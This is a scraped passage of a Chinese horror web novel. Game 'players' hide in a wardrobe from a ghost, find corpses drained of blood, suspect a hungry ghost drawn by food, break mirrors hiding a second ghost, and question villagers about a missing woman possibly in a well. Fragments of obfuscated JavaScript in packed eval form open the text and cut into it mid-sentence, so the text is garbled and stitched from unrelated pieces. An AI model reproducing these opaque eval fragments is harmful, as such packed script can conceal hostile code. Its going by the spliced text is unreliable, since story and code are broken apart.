d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他按了开关开灯，灯光晃眼，是黄毅。 他似乎是刚经历了什么恐怖的事，脸色极端惨白。一进来就神游似的径自走向床，哆哆嗦嗦地往单人休息床上坐下。床架子发出不堪重负的咯吱声，他就这么坐在床上咻咻地喘着粗气。 易礼和赵青躲在柜子里，怕被发现，呼吸声尽量放缓。 赵青手脚冰凉，心跳如擂鼓。蹲在他下方的易礼却没这困扰，不仅调整姿势蹲好，眼睛更是怼到柜子的锁眼上，透过锁眼观察着床上的黄毅。 男人额头的那块纱布掉了，露出了狰狞的伤口。此时伤口在灯光照射下，正汩汩地在冒血。 就那出血量，正常人都撑不了一小时就要休克。他却仿佛习惯了似的，任由伤口流血，擦得脸上全是红色的血迹。身上裹得紧紧的外套也脱了，扔在一边。透过锁眼，易礼看到了他胳膊上大片无创面伤，有的腊白，有的成灰黄色，更有的已经变成黑色。 据易礼对伤口的粗浅了解，类似这种伴随着严重水肿和充满液体的血性水疱，是冻伤。 下雨确实比较冷，但也没冷到这种程度吧？ 他怎么一身的冻伤？ 就在易礼思索黄毅伤口造成的原因时，忽地，房间在一瞬间冷下来。 坐在床上神游的黄毅跟预感到了什么可怕的事似的，一个鲤鱼打挺蹦起来。火速将已经关起来的门锁住，并将一旁的柜子拖过去，抵在了门上。 这时候，他似乎才注意到窗户的异常，立即神经质地爬起来检查起房间。 笨拙的身体在二十几平米的地方打转，喘着粗气，不放过每一寸地方。 终于，他发现了抽屉有被拉开的痕迹，鼻子里发出野猪被激怒一样的剧烈喘息。那双圆瞪的四白眼睁得老大，瞳孔都在不自觉地震颤。嘴里开始低低地咒骂：“有人进来了，绝对有人进来了……” “什么人敢翻我的房间？警察吗？不不不，不是警察！那伙警察不知道这是我的宿舍。应该是别人，那群喂不饱的豺狼！” 他嘴里嘀咕，跟困兽被逼进铁笼一样的额头冒出青筋。迅速打开了抽屉下面一个暗层，在看见里面的东西没有少后，愤怒才平息。 “没偷到！哈哈！那群穷鬼怎么可能猜得到我的抽屉有暗格！跟我斗！” 怕来偷东西的人没走，黄毅又打量起房间。 这个屋子能藏人的地方实在有限，除了床底下，就只有两个大衣柜。这人先是爬到床下检查，确定没人藏在床下，他的目光瞬间刺向衣柜。 他不知从哪儿摸出一把杀猪刀，操在手里就往衣柜的方向走过来。 赵青的心跳在这一瞬间停滞，差点没忍住发出尖叫，被易礼一巴掌按住了嘴。 就在黄毅越来越靠近柜子，门外忽然响起了敲门声。 ‘嘟嘟嘟嘟——’四下敲响，黄毅的脸色瞬间惨白，冷汗狂飙。他瞳孔放散，惊惧地盯着被柜子抵住的门。粗喘的声音消失，浑身的肉不停地颤。 ‘嘟嘟嘟嘟……’ 又是四声。 黄毅再也承受不住，转头手脚发软躲到了床上。他掀开被子裹紧自己，将整个脑袋都缩了进去。但易礼透过锁眼，看到被子缝隙下面他的一双眼依旧死死地盯着门。 门外敲门的东西没得到回应，继续‘嘟嘟嘟嘟’敲。 没人说话，也没有其他渲染，就只有安静。敲门声为这份静谧的气氛染上一股叫人头皮发麻的恐惧。 许久，有一种像野兽嘶吼又像是风声的尖细声音，模糊不清地喊了句：“好冷啊……” 那声音悠悠荡荡，像是把话含在嘴里，又像是舌头卷起来。 “好冷啊……” 它又说了一遍。 柜子里的两人对视一眼，呼吸轻到完全听不见。 不知过了多久，久到两人四肢都麻木了，就听见门外有脚步声慢吞吞地远去。就在两人以为那东西走了，终于要松口气，忽地，窗户那处似乎有什么东西，正拿指甲一下一下地抓挠着玻璃。 两人心口骤凉，躲在床上的黄毅汗湿了被套，瞳孔发白地看向窗户。 这才发现，窗户的铁栓掉在地上，窗户竟然开了！ 6. 第六章 “啊！！！！！鬼，鬼啊！” “啊——” 赵青听见黄毅喉咙里发出比老葛还要惨烈的叫声，令人胆寒。仿佛他的整个胃部被扯出来似的，咕哝咕哝的每一声都含着血水。 他克制不住地发抖，抖得下面的易礼都按不住他。 易礼这一刻心里都是无声的辱骂，这个赵青竟然如此之坑，比她爹还坑！ 她努力压低呼吸，眼睛不眨一下地透过锁眼盯着外面，以便外面那东西靠近时及时逃。 所幸无论是黄毅还是那东西，都没有注意到角落不停翕动的柜子。黄毅跟之前老葛一样，不断地抠挖着自己的喉咙，跌跌撞撞地打开了宿舍门。他一边吐血一边惨叫着向外面冲了出去。 大片的血迹低落在地上，而那个一直喊冷的东西，追着黄毅出去了。 易礼竖着耳朵听，一动不动 。 许久，她确定一前一后的脚步声彻底远去，立即打开柜子跳出来。 “走！” 窗户是开的，那东西是从窗户进来的。 地上一股雨水的痕迹，并且留下一串湿漉漉的脚印。赵青四肢瘫软地爬出来，腿软得怎么都站不起来。易礼实在看不下去，飞快冲过去，扛起他就往窗户外面跳。 落地后，拖着赵青，头也不回地往招待所的方向跑。 赵青一点动静不敢有，生怕易礼放手。死死抓着易礼的胳膊，被她愣是连拖带拽地回了招待所。 他们回来的时候，梁琼和霍张已经回来了。正坐在招待所大厅的老旧沙发上休息。 当时情况危急，每个人都自顾不暇。两人不像易礼有那么多开锁小手段，他们在发现无法打开养猪场员工宿舍窗户后，果断选择离开。 因为有易礼和赵青引开那东西，他俩离开得非常顺利。 此时看到两人进门，霍张立即站起身：“你们没事？” 易礼摆摆手，走到一旁坐下。 赵青瘫在地上，此时一句话都不想说。 刚才霍张梁琼迅速抛下他俩消失，给赵青造成了不小的心理阴影。毕竟一开始跟他们组团，就是希望他俩能在关键时候救命。但事实却是他想多了。不仅没得到庇佑，还被当成诱饵吸引火力。这换谁，谁都会觉得心里不痛快。 喘够了气从地上爬起来，他迅速靠近易礼身边，询问她现在该怎么办。 话被无视了，霍张尴尬地摸了摸鼻子。 抛下两人跑确实做的不地道，但生死关头，正常人都做不到舍己为人。霍张正义心是有的，但舍己为人就有点困难。毕竟在副本中，他跟大家一样都是普通人。再说，他并非有意让两人当诱饵，是那东西已经盯上了易礼和赵青，他跟梁琼只是选择躲开而已。 易礼就没那么多想法了，她只关心实际问题。 那东西能移动，移动速度不算慢。短短十分钟，它先在村里杀了一个老葛，然后又盯上了黄毅。明明没看到它动手，黄毅正在一瞬间就身体失去控制。短短几秒，他的手指产生异变，然后就疯了一样地抠挖喉咙。这个过程，一点预兆都没有。 黄毅产生异变的原因是什么？难道对视就会异变？ “会不会是声音？” 赵青听完易礼的分析，提供思路道：“一般来说，鬼怪是不能说话的。可刚才那东西说话了，这就很奇怪。异常的特征，极有可能是它的杀人手段。” 两人的对话引起了霍张和梁琼的关注。他们并没有直面那东西，此时能得到一手的信息很重要。 “什么意思？你们可以具体说说么？” 霍张立即凑过来，梁琼也不再装高冷。事关副本通关，那点骄傲算什么。 赵青对两人明着索要线索的嘴脸感到十分不齿，此时已经没有了谦卑态度，讽刺的眼神毫不客气地刺向两位前辈：“我们拿命换来的线索，你俩凭什么白嫖？” “我不白嫖你们的。” 梁琼从兜里掏出两个包装老旧的水果糖，摊开在两人面前：“如果你们提供的线索具备足够的价值，这个道具就送给你们。吃下去以后，能保证玩家在三分钟内不被鬼怪盯上，起效时间十秒。” 这个糖果，也是刚才两人顺利离开的主要原因。 霍张见梁琼大手笔，就没有拿出东西：“相信你们经历了这次的鬼怪突袭，对糖果的含金量应该有清晰的判断。三分钟，足够你们跑出攻击圈。” 赵青盯着糖果的眼神都绿了，他看向易礼。 易礼其实本就没打算隐藏线索，毕竟霍张和梁琼是真的有经验，两人跟赵青这种生瓜蛋子比，可不是一个水准的玩家。她指望靠两人蹭大巴，当然会不计较。只是没想到还会有意外收获。 这两人，说到底，还是脸皮不够厚。 于是，易礼就将她们在养猪场的员工宿舍遇到的所见所闻详细说了。 霍张摸着下巴，沉吟道：“不一定是声音，但是声音的概率比较大。具体还得等明天检查过老葛的尸体再说。不过我比较好奇的是，那东西这么凶，为什么放过你们？” “它大概率不能进入密闭空间。”易礼猜测道：“在窗户打开之前，它并没有对屋子里的人造成伤害。我们躲进了衣柜中。” 这个线索很关键。 “对了，还记得我在食堂后厨窗户上看到过一张脸么？那鬼就长了一张一样的脸。”易礼补充了句。 这消息补充还不如不补充，可真是个让人绝望的坏消息！ 两人瞬间皱起眉头。 要知道，大部分副本的鬼怪虽然凶，但被限制在身死之地。就类似于缚地灵，很少有在外游走的情况。而一般能够在外游走的鬼怪，通常攻击性不强。这大概是副本的一种平衡机制。可现在有一个极凶且高移速，移动范围广的鬼怪在村子里横行，这叫人还怎么玩？ “你确定吗？”梁琼的嘴唇都白了，她不由抓住易礼：“一模一样的脸？” “我不会看错，就是同一张。” “那可就糟糕了。”霍张搓了搓脸，只一会儿功夫，他看起来就沧桑了许多：“那东西既然能出现在食堂的后厨，也就能出现在招待所里。果然招待所也不安全。” 霍张的猜测让赵青又白了脸，“那咱们晚上把门窗都锁好不就行了？它不是进不来密闭空间么？” “这只是猜测，具体是不是，还得等明天确定。” “那怎么办！”他们岂不是死定了？！ “先别慌，慌张解决不了问题。” 霍张深吸一口气，“今晚就开一个房间睡觉吧。两个人睡上半夜，两个人睡下半夜。守夜的时候要打起全部精神，一旦有风吹草动，立即叫醒所有人。” 不睡觉是不行的，这种高压环境，人不睡觉精神只会崩溃得更快。 事已至此，只能这么决定。 看了下彼此房间的位置，易礼房间的位置是最好的。在一楼且方便出入，一旦出事，能在第一时间逃出招待所。四人经过商量后决定，今晚就睡在易礼的房间。 梁琼将两颗糖递给了易礼，易礼分了一颗给赵青。 赵青拿到糖果就立马塞到衣服贴身口袋，怕掉了还将上衣掖进裤子里。易礼见状，从口袋里摸出几个水果糖塞到包里，只放这一颗糖进口袋。 开门后，屋里一股陈旧的灰尘味道。不算难闻，但因为潮湿，很呛。 一张1.2米的单人床，已经铺了被子。 霍张跟赵青商量了下，让两个女生先休息。他们守到凌晨三点半，再叫两人起来换班。赵青此时虽然累，但太害怕了根本睡不着，于是就同意了。 易礼开了浴室的灯，昏暗的灯泡因年久失修，灯火闪闪烁烁。 她是无所谓，但梁琼觉得渗人，晚上就不打算洗漱了。易礼从小在孤儿院培养出了干完活一定要清洁的习惯，所以，她雷打不动的进了浴室。 确实有热水，但电压很不稳，水一会儿凉一会儿热的。 易礼面不改色的洗完澡，在擦拭头发的时候，忽然发现镜子里的影子不太对劲。明明她左手拿毛巾，但镜子里影子竟然跟她同样是左边。易礼擦拭的手一顿，镜子里的手也是一顿。动作几乎一致，除非有特殊的观察力，不然很难发现影子其实慢了一拍。 她微微眯了下眼睛，扔了毛巾，快速离开卫生间，并关上了门。 “如果不急的话，晚上不要用卫生间了。” 易礼出来时，其他人都没睡。 “怎么了？”由于重要的线索都是易礼发现的，几人现在对易礼已经十分信任。这个新人不简单，假以时日定会成为厉害的大佬。霍张立即重视起来：“是发现什么了么？” “嗯，镜子里有东西。” 易礼一句话，吓得本就精神脆弱的赵青蹦起来，恨不得夺门而出。 “什么情况？详细说说。” “刚才我擦拭头发，它用错了手，被我抓到了。” 几人对视一眼，眼神绝望。这才第一天，怎么一下来了两个鬼！ A级本果然难度不一般。 “一般藏身镜子里的鬼，想出来都会被极大的限制。除非有人完成了它走出镜子的必要条件，不然只能待在镜子里。”梁琼沉吟片刻，环视四周，很有经验地道：“先把屋子各处都找一遍，看看有没有什么地方藏了镜子。有镜子的地方，能盖住的就盖住。盖不住就打碎。” 几人立即行动。 一个不到三十平米的房间，竟然搜出了十二块镜子。 霍张脸色十分难看，他不知道这些镜子是村里人故意放的，还是巧合。如果不是易礼发现镜子里藏了东西，他们一无所知的睡着，夜里会发生什么，根本不敢想象。 “都打碎。” 赵青将十二块镜子全部打碎，还从柜子里找出个旧被套裹起来。一整个丢进柜子深处。噼里啪啦的碎玻璃声响伴随着诡异的咯吱声，十分渗人。几人面面相觑，神色凝重。但不管怎么说，总算是解决了燃眉之急。至少今晚，镜子里的东西是跑不出来的。 至于浴室墙上挂着的那块大镜子，就只能四人夜里憋一下尿了。 若真憋不住，就在房间内解决。 霍张在房间里走了一圈，最后确认了一遍门窗。确定门窗都不会夜里突然打开，才找个角落坐下去。赵青贴着他靠在角落，精神被摧残的很厉害。 “你们休息吧，我俩守着呢。” 梁琼点点头，转头跟已经躺下的易礼挤在了一张1.2米的单人床上。老实说，有点贴的太近了，但特殊情况也没那么多讲究。 她刚想安慰易礼不用太紧张，只管睡，话还没说，就听到易礼均匀的呼吸声。 梁琼：“……这丫头是不是没长心？” 墙角坐着闭目养神的霍张发出短促的一声笑。赵青无语地看着秒睡的易礼，十分羡慕她的睡眠质量。这种地方都能做到秒睡，这人是真的强，各种意义上的强。 气氛安静下来。 易礼是在一声短促的惊叫声睁眼的。一抬头，窗外天已经亮了。 昨晚本来应该三点半换班，但赵青实在睡不着，就没有把易礼叫起来。清晨的晨雾飘满整个山村，所有人齐刷刷的睁眼。 “怎么回事？”霍张也是一瞬间恢复神志清明。 赵青一夜没睡，顶着大大的黑眼圈和一脸憔悴的脸色，就站在门边守着。此时见霍张和易礼两人醒了，手指指了指左边的方向，没敢开门：“好像是隔壁有人出事了。听声音，有点像郑君怡。” “出去看看！”霍张当机立断。 易礼打开了门，看了眼墙上的挂钟，已经早上七点。 白天是绝对安全，鬼怪不会在白天行动。 四人快速冲到出事的房间，王慧和另一个男生已经站在门边，没敢进去。此时郑君怡的房间门大开，郑君怡本人，似乎已经死了。几人还没进屋去，就已经闻到浓浓的血腥味。房间内的地板上，大量发黑干涸的血迹和呕吐物杂在一起，场面极其血腥又恶心。 “怎么会有这么多血？”梁琼看着几乎铺满一个房间的血迹 ，怀疑郑君怡把身体里的血都吐光了。 易礼掀开了被褥，床上的郑君怡死相极惨。 整个人仿佛一副被抽光血肉的骨架，脸颊深深凹陷，皮肤呈现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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易礼不受影响，一声不吭地在尸体上摸索。 “你在找什么！害死她还不够吗！还想拿她的道具？！” 王慧见易礼搜尸，生怕好东西被易礼拿了。暗中戳了戳张成龙。张成龙得了提醒，立即就急了。在他看来，他们跟郑君怡是一个团队。郑君怡死了，她的道具就该给他们剩下的人。易礼一个不知道哪儿冒出来的新人凭什么抢？ 但他又害怕尸体，不敢靠近，只能站在门边气急败坏：“你拿了也不是你的！” 易礼没理他，搜了半天，从郑君怡的兜里找出半块巴掌大的奶油面包。撕开了包装，吃了一半。易礼拿出来的时候，其他人都愣了下。 “还记得村主任黄忠贵说过什么么？” “村名种菜不易，不要浪费粮食。”赵青几乎一瞬间就想到这件事。 易礼点点头，忽然有了一个大胆的猜测：“你们说，一直跟着咱们的那个鬼怪，会不是是个饿死鬼？” 这话像一大盆冰水，浇熄了熊熊怒火。 易礼举着半个面包：“这姑娘身上藏了吃的，为了节省只吃了一半。食物的味道一直跟着她，导致饿死鬼嗅到食物的味道，盯上了她。有没有这个可能？” 不得不说，易礼的话给了赵青很大的启发。他们第一次遇到那东西就是在食堂后厨。后来躲到黄毅的员工宿舍，那靠窗的位置，桌子上也有一盒没吃完的盒饭。 赵青瞬间冷汗湿透了背心，惊惧地看着易礼。梁琼回想起来也是吓得不轻。 “很有可能。”霍张心跳很快，“我们现在立即去找老葛的尸体，看他身上是不是也藏了吃的。” 几人当即不敢耽误，立即出发。 张成龙和王慧对视一眼，不只是后怕还是惊恐。昨晚他俩身上没吃的，是真的饿着肚子等天亮，没想到因此躲过一劫。 见几人要走，他们也立马跟上。 不过临走之时，王慧趁张成龙不注意进屋，把她脖子上那条石头项链扯了下来。 易礼装作没看到她的举动，问了一句：“尸体不管吗？” “不用管。”梁琼道：“十二个小时后，玩家的尸体会被副本清理掉，什么都不会留下。” 注意到易礼看王慧，她点了句：“副本道具确实稀有，但使用次数不高。不会超过三次。尤其这种感测类的道具，寿命很短。遇到鬼怪次数越多或鬼怪能力越强，它的寿命就会越短。我刚才看了，那条项链已经有裂痕了。” 易礼点点头，摸了摸兜里的护身符。这东西她还没用过，不知道是干嘛用的。 “走吧。要找紧时间，趁着老葛的尸体没被清理，快点过去。” 几人匆匆来到昨晚老葛消失的地方，果然在山脚下发现了老葛的尸体。 他的死状跟郑君怡一模一样，都是吐光了身体的血肉，干瘪成一副渗人的骷髅架子。手指异变，死死扣着自己的喉咙。 易礼赶过来的时候，霍张已经摸了尸体的所有口袋。果然在兜里发现了一袋包子。其中几个啃了几口，没吃完。 “还真有吃剩的食物……” 霍张喃喃道：“难道真的是饿死鬼？” “还要去看黄毅的尸体吗？” “奉劝你最好不要去。副本NPC跟玩家不一样。玩家死后不会变成鬼怪，但NPC如果非正常死亡，大概率会变成鬼回来。”霍张立即制止易礼的危险想法。 “哦。”易礼蹲下来观察了下老葛，忽然道：“你来之前，他是不是已经被人搜过身了？” “口袋是翻出来的，应该已经被搜过。这次的副本玩家，除了老葛媳妇，活着的都在这了。搜老葛的，除了她也没别人。” 易礼点点头，还是不死心：“NPC变成鬼也需要时间吧？” “对，但时间因人而异，所以才说风险极大。” 易礼明白了。 她站起身，看向不远处养猪场的位置，犹豫要不要搏一搏。 这是，黄忠贵带着黄家老三黄志和黄家老二的媳妇徐翠平跑过来。 村主任勾着腰气喘吁吁，额头脸上全是汗。那徐翠平哭得眼睛鼻子一团糟，抽抽搭搭说昨晚黄毅突然拿了把杀猪刀来她家大门，看到黄家老二黄鹏开门，一刀砍了他的脑袋。 “什么！黄家老二昨晚死了？！” 7. 第七章 这可不是个好消息！ 失踪的黄玲花还没找到，黄家兄弟就已经折损两个。如果剩下的两兄弟在黄玲花的事情上撒谎，那他们找出黄玲花的踪迹的支线任务的难度就更大了，查出村子里的真相也变得更艰难……等等，不对，黄毅昨晚不是已经死了吗？怎么还能拿刀去黄鹏家砍他的脑袋？这说不通啊！ “黄毅去你家时，大概几点钟？”易礼将摔倒在地的徐翠平拉起来。 徐翠平这人给人的感觉很诡异。发黄发黑的脸上，总是透着一股心中有鬼的鬼祟。易礼注意到她长袖下面的胳膊上也是有冻伤的痕迹。伤势比之前在黄毅身上看到的好很多，但也看起来挺可怖。 眼眸一顿，易礼于是又去瞄一旁黄志。 黄志也穿着长袖，但他的冻伤明显就比徐翠平严重多了。他无法遮掩的后脖子上全是黑色的血性水疱。这一家人是集体去什么冰天雪地里挨冻了么？怎么每个人身上全有冻伤？ 看村委主任黄忠贵，他就没有。 “我记不太清楚，”徐翠平抽噎道：“应，应该是一点半左右，不到两点。” 徐翠平哭得是这样惨，哭家里突然失去顶梁柱，另一方面，也是她实在是太害怕了。昨晚黄毅拿刀砍人的样子凶残得像个没有人性的恶鬼，两只眼珠子浑浊发灰，泛着凶光。有些话她不方便说，比如她有种被鬼缠上的惊悚。很担心黄毅今晚还会再来。 因为两家过去的旧怨。黄毅要是杀她，她根本就逃不过去。 几人面面相觑，脸色一瞬间都变得十分凝重。 易礼和赵青是亲眼看到的，这个时间段，黄毅已经死了。 “只有一个可能，黄毅此时已经完全异化成鬼怪，开始袭击人了。”霍张心情沉重。黄毅算是他经历过的异化速度最快的一只鬼，而且还是大凶的鬼。竟然在异化后第一时间就去杀人，简直不敢想象。 “你丈夫跟他大哥的关系不好吗？” 正常来说，鬼怪袭击人类，遵循三条规则。不管对玩家还是NPC，同样施效。 一，鬼怪遵循特定的杀人规律，没有触发杀人机制前，不可随意杀人。 二，在触发杀人机制后，鬼怪遵从仇恨值的高低，依次追杀。（这也是玩家不能随意得罪NPC的重要原因，副本中特定NPC在非自然死亡的情况下，会变成鬼怪回来报复。） 三，鬼怪一次只能杀一人。（即同一场合，如果有两人及以上人数同时触发杀人机制，鬼怪会率先杀掉在场所有人中仇恨值高的人。） 现在的情况，霍张只能以第二条来判断黄鹏的死因。黄毅仇恨黄鹏，恨到异化后第一个杀掉的就是黄鹏。可这跟黄毅之前说的话完全相悖。 徐翠平的哭声一顿，反倒旁边的黄志一脸不忿地叫道：“他俩关系不好都是老大该的！” 黄鹏这话说的突兀，众人齐刷刷地看向他。 他被吓了一跳，但转瞬又觉得自己没说错，理直气壮道：“别说老二跟老大翻脸，我们下面几个兄弟哪个没跟他翻脸？黄毅这狗东西，仗着自己是家里的老大，从小到大只知道从哥几个身上吸血……” 黄志怨恨深重，面目狰狞，此时就仿佛打开了尘封已久的话匣子。 “家里有什么好东西，都是他的。旁人是一点别想沾手。家里要是有什么事儿，他是从来都不管的。找他，他就是忙，忙得没空看一眼。这么多年，除了占便宜，他什么事都不管！昨晚竟还敢发神经拿刀砍了老二的头，他就是个杀人犯！警官，你们赶紧把老大抓进牢里去枪毙！” 黄志愤愤不平，一旁徐翠平却不敢说话。 霍张在两人身上转了一圈，看向一直没说话的村委主任。 黄忠贵木着一张脸盯着老葛的尸体看，并没有表现出太大的惊异。显然，是知道点什么的。但对上霍张的眼神，他一脸紧张地躲闪过去。 霍张垂下眼眸，眼神顿时幽暗起来。 …… “……不然你以为他开养猪场的钱哪儿来的？”要不是看梁琼长得漂亮，黄志都要动手打人了。这娘们一张口就问的人火冒三丈。 黄志气呼呼的道：“都是一个娘生的兄弟，他黄毅一辈子就没出过村，却有上百万的家产开养猪场。他的钱难道是大风刮来的？还不是兄弟们年轻时出去打工赚的钱存在老娘那儿，被他全给哄走了！老娘一死，他却舔着脸说老娘的棺材本早就花没了，一毛钱没得分……当我们都是傻子呢！没得分他家的养猪场怎么越办越大？去年还扩建了！” 黄志的话提到了关键——黄家四兄弟曾因为分母亲遗产的事撕破脸。 正当这时，易礼忽然问了一嘴：“你娘是不是姓吴？” 易礼的这个问题，莫名让愤怒的黄志脸色突变。他吞了口口水，冷静下来：“警官怎么知道？” 黄家老娘姓吴这件事，除了黄家兄妹，村里没人知道。村里人只知道他娘是黄家从外村买回来的童养媳，就一直按他们死鬼爹的名字叫她树根媳妇。 “黄毅说的。” 易礼面不改色的撒谎，引得赵青多看她好几眼。 黄志一听又是黄毅说的，心里那股邪火就又冒上来，骂骂咧咧的咒黄毅以后生孙子没□□。不过他应该是生不了孙子，以黄毅这凶性，估计这一个村子都得杀完。 “黄毅说黄玲花失踪那天，他在你家喝酒。你怎么说？” 感觉警察们不好糊弄，黄志说话就变得小心很多。 他看着易礼，斟酌道：“没喝酒，那天，玲花发现钱都被老大给取走了，恨不得要杀人了，哪儿还有心情过中秋？兄弟几个连番劝都没给劝住，非要去找老大把钱要回来。” 这个消息很重要。 “动刀了？” 易礼真是冷不丁一句话就能给人吓破胆。 别说徐翠平都恨不得把脑袋缩起来，黄志脸都吓白了：“没有没有，怎么可能会动刀？都是亲兄妹小打小闹而已。玲花那天确实气得不轻，兄妹大吵了一顿就连夜离开了。” “连夜离开？不是下午五点钟走的吗？” “哦对，对，就是五点钟。”黄志立马改口：“我记错了。那天酒喝多了，记错了。” 他这一番话，前言不搭后语，明显就是有鬼。 玩家们暗中交换了眼神，没有再追问。这个黄志根本不说实话，问再多也没用。黄志和徐翠平此时也不敢再抱怨，慌张地掉头就走。 “村主任怎么说？” 黄忠贵摇头，含糊地说：“黄家兄妹关起门吵架，外人哪里知道。不过，那天玲花确实从老二家里跑出来，说要去找黄毅算账。黄家几兄弟都跟去了。天下好大的雨啊，整个山头都起了雾。雨声大，看不清身影，也听不清说话，反正黄家兄妹几人往后山去了。” “后来呢？” “后来？后来就天黑了，各家各户就关门睡觉了。” 还是问不出来，零零碎碎的信息窜不起来。 “这样吧，分头行动。”霍张站起身，“黄家吵闹得那么严重，左邻右舍不可能什么都没听见。分人去问问。现在是白天，胆子大的就跟我去后山。梁琼，你去黄宝家里走一趟。这个跟黄玲花关系好的兄弟，也许能问出更多的线索。” 王慧和张成龙选择去村里，想叫赵青一起。但赵青现在就认准了易礼，易礼去哪儿他去哪儿。张成龙看他叛变，忍不住威胁：“你现在选择脱离团队，以后下副本就别想再跟我们一起。” 赵青无所谓地点点头，立即跟上易礼。 从养猪场到后山很近的，不到两公里路。有一条杂草丛生的蜿蜒小路。走过去挺费劲，不过也看得出确实很久没人敢上山，导致这条路荒废了。 这会儿，天空的乌云又开始集结，似乎要下雨。 易礼那个太阳花的黄雨衣一直穿在身上没脱下来过。霍张也从村委主任那儿弄来一个塑料袋套在头上，把裸露在外的皮肤都挡起来。 赵青不明白两人这么打扮什么意思：“还没下雨呢？用得着这么小心？” 虽然挺烦赵青累赘，但既然他坚定不移地跟着自己，易礼就多提醒他一句：“你没发现雨水不对劲么？昨天淋雨的几个人，今天脸色都很难看。估计多淋几天，就得赶上村里人。我怀疑，黄毅之所以会异化的那么快，跟这个村子常年不退的雨水有关。” 易礼这话说的赵青瞬间惊恐。 霍张看过来，他实在是欣赏敏锐机警的孩子。他是早上看易礼和其他人的脸色对比才发现不对的，但也仅仅是觉得雨水可能有负面影响。就像他之前听说过一个副本，雨水会带走生物的体力。没想这么深。此时被易礼一提醒，他也紧迫起来。 “那，那你们还有塑料袋吗？”生死局，也顾不上好看：“也给我一个吧！” 霍张从兜里掏出一个大垃圾袋，本来是留着备用的。 毕竟塑料袋这种东西不结实，很轻易就会被划破。他多要了几个有备无患。但此时看赵青可怜，干脆给他用。 赵青千恩万谢的，立马罩头上。只给眼睛鼻子戳出洞，真是一点皮肤都不想漏出来。 几人才走到山脚下，阴雨立即就降下来。 他们走得快，一路上眼睛就没停。赵青就跟惊弓之鸟一样，一路走一路左顾右盼。毕竟安全期就剩最后一天，今晚开始，鬼怪就会放开禁制。之后的每一天都会比现在更艰难，必须抓紧时间搜集线索。 这座山头占地很广，一眼望去都望不到边。山上树木丛生，山脚杂草能长到人脖子。易礼个头最小，有时候视线非常受阻。赵青想到昨晚都是易礼扛着他跑，立即就提议背易礼。 “不用，我看得见。” 他这点体力，留着逃跑都比背她管用。 山脚下其实没什么，除了一个看起来像猎人暂居的小土坯房，四周都是杂草。水井在养猪场西南角的槐树下面，大石头还盖在上面。 “咱上山吗？” “暂时不上，先去那屋子看看。” 易礼捡了跟树枝，一路走一路把草给打下来。 几人艰难地走到土坯屋，里面有人生活过的痕迹。屋子内部空间不大，打开门就一股难闻的潮湿伴随腐臭的味道。进门三步就一张低矮的木板床，墙角几个落了一层灰的陶罐。转身开门是一个灶房，灶台落满了灰尘。头顶的草被风掀得漏雨，到处长满霉斑。 泥土的地长了草。赵青刚一落脚，踩了一脚看起来像是干涸的排泄物的东西。他抬起脚仔细看，确实是生物的排泄物。 “这个地方还有人住？” 霍张手指在瘸腿的凳子上摸了一把，捻了捻：“至少半年以上没人住了。灰尘太厚。” 易礼在屋子里转来转去，又开始了翻箱倒柜。 赵青看她这样，也立马搜起来。上次的经验给了他警醒，搜的快，运气好的话，是能捡到道具的。 很快，易礼在一张已经破败的床下，发现了老太太穿的衣服。 “霍哥，你看这个。” 赵青放下手里的陶罐，立马也跟过来：“都是些破衣服，怎么了？” “纠正一下，是老太太的破衣服。”易礼纠正道：“从这些痕迹可以判断出，这里至少半年以前住着一个上年纪的老太太。且老太太日子过得极其困难。” “住了个贫穷的老太太，所以呢？” “没什么所以，”易礼耸耸肩，“可以向村里人打听下，什么老太太不住村里要住在这。” “为什么？”赵青还是不明白，他感觉自己也不算傻，他现实中还是个学霸。但下了副本以后脑子就跟被什么东西给糊住了一样迷糊。 零零碎碎的线索，在没有上帝视角的辅助下，完全不知道什么意思。 “你不觉得这里跟养猪场很近么？而且，黄家的事，你总不能忘记其中一个重要人物吧？” 易礼叹了口气：“你仔细想想。这里与养猪场那么近，黄玲花失踪那天，是不是能看到什么。搞清楚这里住着什么人，对找到黄玲花很重要。而且黄家兄妹的不和，因母亲而起。假如这里住着黄家已过世的寡母，能说明很多信息……” 赵青被易礼看傻子的眼神看得面红耳赤，嘴咕哝了半天，什么话都说 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易礼也蹲下去看，环顾四周，确实比其他青苔更稀疏。她皱起眉头，“什么情况下青苔会稀疏？正常来说，青苔这种东西难道不是应该有水就能长吗？” “这就涉及到现场勘查的一些小知识了。”霍张解释道：“一般来说，青苔更喜欢高湿度、弱光或散射光的酸性环境。通常ph值在5.0-6.0之间最佳。而越肥沃的土壤，越不适合青苔生长。我们刑警在勘察现场的时候，发现一个特别的现象，就是肥害对青苔有巨大伤害。所谓的肥害，指的是，青苔附近有尸体或者血肉腐烂。这些东西会滋生高盐分和改变渗透压，会直接烧死青苔。” “你的意思是！” “这里应该有过大量血迹，或者大量碎肉。”霍张肯定道。 他这话一说完，几人看向被大石头堵死的井口。 赵青的眼神变得惊恐：“总不能，这口井里藏尸体了吧？” 他看向易礼，希望易礼能否定他的猜测。易礼却没有说话，反而叉腰看向不远处的养猪场。这口井离养猪场非常近，就连黄毅本人也承认过，养猪场内的供水是依赖这口井的。 “你说，我们要不要把井口的石头挪开？” 赵青心跳如擂鼓，咚咚咚地砸的他胸腔生疼。他吞了口口水：“如果说，我是说如果，消失的黄玲花就藏在井里。我们的支线，寻找失踪的黄玲花，是不是就算完成了？” 霍张一直没说话，是心里也在衡量这个问题。 但是，问题如果真这么简单就不用纠结了。难就难在，黄冥村已经出现三只鬼。一只大凶的饿死鬼，一只辨不清能力的镜子鬼，再加一个异化后立即杀人的黄毅。如果这下面藏着黄玲花，以她的情况，绝对是比黄毅还要凶悍的鬼怪。 放她出来确实能完成支线任务，但他们接下来要怎么面对黄玲花这种大鬼？这就是另一个难题。 “可不放出来，我们也一样很危险啊！” 赵青心里始终抱着一种侥幸。因为自小到大，鬼怪故事都是告诉他，冤有头债有主。他总觉得自己跟黄玲花没仇没怨，她就算变成鬼也不会伤害无辜的人。 “你想多了，停止你不实际的幻想。” 霍张也一眼看穿他的侥幸，“忘了我开本前我说过什么？” 